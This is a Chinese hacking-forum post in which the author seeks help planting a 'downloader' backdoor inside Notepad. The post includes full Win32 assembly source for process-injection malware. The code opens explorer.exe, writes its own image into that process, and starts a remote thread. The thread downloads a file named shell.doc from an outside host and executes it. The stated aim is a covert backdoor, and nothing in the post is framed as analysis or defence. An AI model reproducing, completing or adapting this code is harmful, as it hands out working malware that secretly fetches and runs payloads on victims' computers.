返回列表 发帖

[讨论]有个主意对记事本插入下载者的汇编代码,求帮助

[讨论]有个主意对记事本插入下载者的汇编代码,求帮助
今天看了《逆向工程打造隐蔽后门》一文
http://forum.eviloctal.com/read- ... F2%B9%A4%B3%CC.html

觉得思路非常完美!

我想能不能对记事本插入下载者的汇编代码。下载者代码我在网上找了个蛮不错的(见下面)。有点与asm写过的类似。

现在困难就在于这个WIN32汇编的代码怎么写到OD里面去?我不知道怎么转换。求高手指点!
复制内容到剪贴板

代码:
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib

.data
szDesktopClass db 'Progman',0 ;explorer.exe 的窗口类
szDesktopWindow db 'Program Manager',0
szURL db 'Http://chenmingzhong87.xinwen365.com/shell.doc',0
szSaveFile db 'C:\shell.doc',0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;这里开始的代码是借用别人的
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着原来的代码继续执行
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
  PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP 软件项目外包

asm
运维管理组

返回列表